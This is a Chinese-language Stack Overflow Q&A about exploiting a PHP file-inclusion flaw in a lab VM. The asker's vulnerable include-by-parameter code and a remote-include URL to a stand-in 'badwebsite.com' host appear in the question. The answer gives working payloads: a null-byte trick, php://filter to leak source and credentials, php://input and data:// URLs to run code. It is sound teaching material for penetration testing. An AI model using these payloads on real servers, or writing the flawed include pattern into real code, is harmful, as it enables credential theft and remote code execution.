PHP安全漏洞 - 列出远程PHP文件的内容?

swi*_*ode 7 php security exploit ssi

我正在尝试利用在VM内部运行的示例网站中的一些Web漏洞(它不在网络上 - 仅用于教育目的).我有一个名为php的文件setupreset.php,其中包含有关用于设置网站的MySQL配置,设置和密码的信息.这与其他php文件(索引,产品,论坛等)位于同一目录中.

这是index.php的代码,供参考:

<?php
include ("includes/header.php");
// Grab inputs
$page = $_GET[page];
if ($page=="") {
    include("home.html"); 
} else { include ($page . '.php'); } 
include ("includes/footer.php");
?>
Run Code Online (Sandbox Code Playgroud)

主要目标是列出setupresetPHP文件的内容,或以某种方式下载它.如果我导航到这个文件:http://10.211.55.5/index.php?page=setupreset它会被执行,但PHP代码自然不会显示,因为它由PHP解释器解析.

现在,该网站使用PHP include,因此URL如下所示:http://10.211.55.5/index.php?page=products.这似乎是很容易受到远程文件包含,在那里我可以简单地指向另一个PHP页面,如http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.phpallow_url_includeoff,不能改变,所以这是不行的(这个我试过).但是,allow_url_fopen很可能(因为它默认打开),所以我的问题如下:是否可以上传PHP文件或一些列出setupreset.php使用此类漏洞利用内容的脚本?

Cod*_*ist 32

如果allow_url_include关闭,则无法执行远程代码.但您可以找到其他页面,例如内容管理仪表板,将您的代码上传为"图像",然后找到实际的路径和include它.

并且,仍有一些方法可以利用.

让我们看看你的代码.您可能会注意到它会.php在路径末尾自动添加扩展名.所以你应该删除phpGET参数.但是,如果要包含的文件没有PHP扩展名怎么办?然后%00用来终止字符串,例如

http://localhost/include.php?page=../uploads/your_uploaded_fake_image.jpg%00
Run Code Online (Sandbox Code Playgroud)

PHP中有一个特殊的协议,强大而危险.是的php://.您可以查看官方手册以获取详细信息,在这里我将向您展示一些案例,使文件包含漏洞成为源泄露,甚至是远程代码执行漏洞.

在测试之前,我建议你使用FirefoxHackBar插件.它是一个强大的渗透测试套件.

  1. 来源披露

此功能不需要允许包含URL.

php://filter是一种元包装器,旨在允许在打开时将过滤器应用于流.这对于诸如readfile(),file()和file_get_contents()之类的一体化文件函数很有用,否则在读取内容之前没有机会对流应用过滤器.(参考)

然后,您可以secret.inc.php通过以下请求在同一目录中查看源.

http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc
Run Code Online (Sandbox Code Playgroud)

演示

文件内容将以base64编码,因此它支持二进制文件.

它的强大,以获取敏感信息,如数据库密码或加密密钥!如果特权没有正确配置,它甚至可以跳出笼子并从外部目录中的文件中提取数据,比如/etc/passwd!

  1. 远程代码执行

实际上你不能利用这种方式,因为allow_url_include在这种情况下是关闭的.

但我必须指出它,因为它是神奇的!

它与本地包含完全不同.它不需要将任何文件上传到远程服务器等.您只需要一个请求即可.

php://input可以访问原始的HTTP请求体,那么该怎么include("php://input")办?只需访问http://localhost/include.php?page=php://input,请求正文中有效的PHP代码,然后您就可以在远程服务器中执行任何(允许的)功能!

在此输入图像描述

不要忘记%00.php尾.

此外,PHP支持data://URL方案.你可以直接把代码放在GET参数中!以下测试不需要任何特殊工具,只需普通浏览器即可执行攻击.

http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?>
Run Code Online (Sandbox Code Playgroud)

一些Web应用程序防火墙可能会检测到URL中的可疑字符串并阻止恶意请求,他们不会phpinfo单独离开.有加密方法吗?当然.data://URL支持至少base64编码...

http://localhost/include.php?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
Run Code Online (Sandbox Code Playgroud)

你会再次熟悉phpinfo!

使用base64编码

注意

%00对于PHP> = 5.3.4 ,空字节技巧()不再起作用:http://blog.benjaminwalters.net/? p = 22139

  • 没问题.顺便说一句,您可以在现代浏览器中直接解码base64,只需导航到`data:text/plaintext; base64,aGVsbG8gd29ybGQ =`,看看会发生什么.;) (2认同)